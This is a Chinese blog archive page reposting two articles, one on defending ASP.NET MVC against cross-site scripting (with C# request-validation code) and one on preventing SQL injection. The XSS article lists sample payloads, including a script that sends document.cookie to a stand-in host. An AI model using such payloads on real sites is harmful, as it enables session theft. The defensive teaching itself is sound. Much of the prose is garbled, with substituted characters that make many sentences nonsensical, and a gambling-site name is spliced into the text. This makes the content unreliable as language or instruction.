标签归档Web安全

Web安全息息相关(一):跨站下论攻击(XSS)

简介
  跨站脚论攻击(Cross
Site Scripting),为不与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超越站下论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会为实施,从而达到恶意攻击用户之奇异目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

局部景

  1.
黑心攻击者可于个人介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会尽恶意代码。
  2.
恶心攻击者可载一首文章,取一个诱惑眼球的标题,在内容里插恶意代码,那么用户查看这篇稿子时,就见面实行恶意代码。
  3.
恶意攻击者在局部紧俏文章要帖子里之恢复或留言中插恶意代码,那么用户浏览到外的复原或留言时,就见面实行恶意代码。

严防XSS的少只号

  1.
交由数据时,就对准数据开展求证,如果带有恶意脚本,则未深受多少进库,ASP.NET
MVC默认是碰头举行这个证明。如下图,如果准备插入恶意脚本,就见面沾一个HttpRequestValidationException。注:图2红色框中之办法后续会干。

    
个人档案 1

                  图1

    
个人档案 2

                  图2

  如果我们要允许下论入库,可以当相应的Action上丰富[ValidateInput(false)]。此时恶意脚论还无克发威慑,因为还有后面一个号的预防措施。

     
个人档案 3

                  图3

     
个人档案 4

                   
图4

 2.
出口数据经常,对出口的情以HTML编码,恶意脚论不会见受实践。而且,MVC的Razor语法默认就使用HTML编码。但是倘若我们应用Html.Raw()来输出内容之言辞,恶意脚本就会出威慑。

     
个人档案 5

                 图5

    
个人档案 6

                 图6

 一些黑心脚本

  1.
简便的弹窗或者内容展示。
  <script>alert(‘你受不法了!’)</script>
 
  2.
导航及黑心网站。注:这里只是以百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据证实失效?

  我们设我们的求是无允许含有恶意脚本的数量进库的,但是咱采取了jquey的ajax进行互。

     
个人档案 7

                图7

     
个人档案 8

                图8

     
个人档案 9

                图9

     
个人档案 10

              图10

  数据还是进库,为什么吗?我们来研讨下图2红框中之方。

     
个人档案 11

                图11

     
个人档案 12

                图12

  从图12受,我猜测MVC会对Request中之如上内容开展说明,可是jquery
ajax的数目是在Request的Content里面的,因此,默认的证实对jquery
ajax并不曾效果。

 $.ajax数据证实实现

  要针对$.ajax进行多少说明,我起ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

个人档案 13

              图13

  那么,输入数据产生黑心脚本时便会见让检测出。

 个人档案 14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

 个人档案 15

                  图15

AntiXSS第三在组件

  如果使用.Net4.0以及以上的本子,那么就非需引入AntiXSS,因为.Net
4.0早就把AntiXSS集成进来了。如果是别版本则用引入。

源码下载

  为了方便使用,我并未运用其它数据库,而是用了一个文本来储存数据。代码下载后可一直运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  个人档案 16

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

澳门新葡亰官网Web安全系(五):SQL注入(SQL Injection)

简介

  SQL注入攻击指的是经过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的有的做,通过实践SQL语句进而实施攻击者所假设的操作,其要因是次尚未仔细地过滤用户输入的数据,致使非法数据侵入系统。

  根据有关技能原理,SQL注入可以分成平台层注入及代码层注入。前者由不安全的数据库配置或者数据库平台的狐狸尾巴所赋;后者主要是由于程序员对输入未开展密切地过滤,从而执行了地下的数目查询。基于这个,SQL注入的发生原因通常表现在以下几点:

  1.
不当的色处理;

  2.
不安全的数据库配置;

  3.
非成立之查询集处理;

  4.
不当的错误处理;

  5.
转义字符处理不恰当;

  6.
大多单提交处理不当。

 

防止SQL注入

  1.
千古不要相信用户之输入。对用户的输入进行校验,可以通过正则表达式,或限长度;对单引号和双”-“进行换等。

  2.
千古不要用动态拼装sql,可以使参数化的sql或者直接利用存储过程进展数据澳门新葡亰官网查询存取。(不要拼sql,使用参数化)

  3.
世代不要使用管理员权限的数据库连接,为每个应用使用单独的权有限的数据库连接。(给程序分配合理之数据库操作权限)

  4.
不要拿机密信息直接存放,加密抑或hash掉密码和机智的信息。(敏感信息加密)

  5.
用之酷信息应该吃出尽可能少的提示,最好用自定义之错误信息对老错误信息进行包装。

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5514879.html

网站地图xml地图